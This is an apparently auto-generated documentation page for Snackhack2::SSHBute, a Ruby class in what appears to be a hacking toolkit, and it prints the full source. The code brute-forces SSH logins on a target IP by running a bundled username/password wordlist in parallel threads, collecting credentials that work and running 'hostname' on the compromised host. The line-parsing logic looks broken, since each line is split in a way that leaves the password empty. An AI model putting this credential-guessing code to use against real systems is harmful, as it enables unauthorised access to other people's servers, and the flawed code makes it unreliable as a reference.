Class: Snackhack2::SSHBute
- Inherits:
-
Object
- Object
- Snackhack2::SSHBute
- Defined in:
- lib/snackhack2/sshbrute.rb
Instance Method Summary collapse
- #brute(username, pass) ⇒ Object
-
#initialize(ip, list: nil) ⇒ SSHBute
constructor
A new instance of SSHBute.
- #list ⇒ Object
- #run ⇒ Object
Constructor Details
#initialize(ip, list: nil) ⇒ SSHBute
Returns a new instance of SSHBute.
6 7 8 9 10 |
# File 'lib/snackhack2/sshbrute.rb', line 6 def initialize(ip, list: nil) @ip = ip @list = list @success_list = [] end |
Instance Method Details
#brute(username, pass) ⇒ Object
24 25 26 27 28 29 30 |
# File 'lib/snackhack2/sshbrute.rb', line 24 def brute(username, pass) Net::SSH.start(@ip, username, password: pass, timeout: 1) do |ssh| @success_list << [username, pass] ssh.exec!('hostname') end rescue Net::SSH::AuthenticationFailed end |
#list ⇒ Object
12 13 14 |
# File 'lib/snackhack2/sshbrute.rb', line 12 def list File.join(__dir__, 'lists', 'sshbrute.txt') end |
#run ⇒ Object
16 17 18 19 20 21 22 |
# File 'lib/snackhack2/sshbrute.rb', line 16 def run threads = [] File.readlines(list).each { |usr, pass| threads << Thread.new { brute(usr, pass) } } threads.each(&:join) p @success_list end |